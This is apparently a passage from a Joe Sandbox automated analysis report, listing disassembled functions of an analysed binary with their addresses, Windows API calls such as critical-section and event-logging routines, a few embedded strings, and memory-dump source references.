        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004D4620, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142
        APIs
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E2CC0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54
        APIs
        • fprintf.MSVCRT ref: 004E2D5C
          • Part of subcall function 004E29A0: CloseHandle.KERNEL32 ref: 004E29BD
          • Part of subcall function 004E29A0: free.MSVCRT(?,?,00000000,00000000,004E2D2B,?,?,00000000,00000004,004E32AD), ref: 004E29C9
        • free.MSVCRT(?,?,00000000,00000004,004E32AD), ref: 004E2D38
        Strings
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 00413910, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
        APIs
          • Part of subcall function 00413770: GetStdHandle.KERNEL32 ref: 0041377F
          • Part of subcall function 00413770: GetFileType.KERNEL32 ref: 00413791
          • Part of subcall function 00413770: _vsnprintf.MSVCRT ref: 004137C7
          • Part of subcall function 00413770: GetVersion.KERNEL32 ref: 004137D5
          • Part of subcall function 00413770: RegisterEventSourceA.ADVAPI32 ref: 004137FF
          • Part of subcall function 00413770: ReportEventA.ADVAPI32 ref: 00413855
          • Part of subcall function 00413770: DeregisterEventSource.ADVAPI32 ref: 00413861
          • Part of subcall function 00413770: MessageBoxA.USER32 ref: 0041388E
          • Part of subcall function 00413770: _vsnprintf.MSVCRT ref: 004138C5
          • Part of subcall function 00413770: WriteFile.KERNEL32 ref: 004138F0
        • raise.MSVCRT ref: 0041393E
        • _exit.MSVCRT ref: 0041394A
        Strings
        • %s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00413917
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E3250, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33
        APIs
          • Part of subcall function 004E2C10: calloc.MSVCRT ref: 004E2C50
          • Part of subcall function 004E2C10: calloc.MSVCRT ref: 004E2CA8
          • Part of subcall function 004E2510: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E2560
          • Part of subcall function 004E2510: WaitForSingleObject.KERNEL32 ref: 004E25A2
          • Part of subcall function 004E2510: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,004E7324,?,?,?,005704F9,?,?,?,?,00000001), ref: 004E25C5
          • Part of subcall function 004E2510: CreateEventA.KERNEL32 ref: 004E260F
          • Part of subcall function 004E2510: CloseHandle.KERNEL32 ref: 004E262E
          • Part of subcall function 004E2510: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E7324,?,?,?,005704F9), ref: 004E263C
        • fprintf.MSVCRT ref: 004E3299
          • Part of subcall function 004E2D90: TlsAlloc.KERNEL32(?,?,004E32BA), ref: 004E2D93
          • Part of subcall function 004E2D90: abort.MSVCRT(?,?,004E32BA), ref: 004E2DA7
          • Part of subcall function 004E2810: GetCurrentThreadId.KERNEL32 ref: 004E2867
          • Part of subcall function 004E2810: SetEvent.KERNEL32 ref: 004E2896
          • Part of subcall function 004E2CC0: free.MSVCRT(?,?,00000000,00000004,004E32AD), ref: 004E2D38
          • Part of subcall function 004E2CC0: fprintf.MSVCRT ref: 004E2D5C
        Strings
        • once %p is %d, xrefs: 004E328B
        • Error cleaning up spin_keys for thread , xrefs: 004E3250
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E1DF0, Relevance: 5.1, APIs: 4, Instructions: 89
        APIs
        • EnterCriticalSection.KERNEL32 ref: 004E1E3A
        • LeaveCriticalSection.KERNEL32 ref: 004E1E66
        • LeaveCriticalSection.KERNEL32 ref: 004E1EE3
          • Part of subcall function 004E1A90: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1AB0
          • Part of subcall function 004E1A90: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1ACC
          • Part of subcall function 004E1A90: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1B03
          • Part of subcall function 004E1A90: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1B17
        • LeaveCriticalSection.KERNEL32 ref: 004E1EFA
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E1CD0, Relevance: 5.1, APIs: 4, Instructions: 88
        APIs
        • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,004E5A9B), ref: 004E1D1A
        • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,004E5A9B), ref: 004E1D40
        • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,004E5A9B), ref: 004E1DB3
          • Part of subcall function 004E1A90: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1AB0
          • Part of subcall function 004E1A90: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1ACC
          • Part of subcall function 004E1A90: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1B03
          • Part of subcall function 004E1A90: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1B17
        • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,004E5A9B), ref: 004E1DDA
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd
        Function 004E1A90, Relevance: 5.1, APIs: 4, Instructions: 58
        APIs
        • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1AB0
        • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1ACC
          • Part of subcall function 004E17B0: WaitForMultipleObjects.KERNEL32 ref: 004E17FA
          • Part of subcall function 004E17B0: WaitForSingleObject.KERNEL32 ref: 004E183D
          • Part of subcall function 004E17B0: ResetEvent.KERNEL32 ref: 004E1A02
        • EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1B03
        • LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,004E1F61), ref: 004E1B17
        Memory Dump Source
        • Source File: 00000005.00000001.294562747.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000005.00000001.294557114.00400000.00000002.sdmp
        • Associated: 00000005.00000001.294585022.00578000.00000008.sdmp
        • Associated: 00000005.00000001.294681417.0057B000.00000002.sdmp
        • Associated: 00000005.00000001.294798395.0061B000.00000004.sdmp
        • Associated: 00000005.00000001.294813487.0061F000.00000008.sdmp
        Joe Sandbox IDA Plugin
        • Snapshot File: hcaresult_5_1_400000_sync.jbxd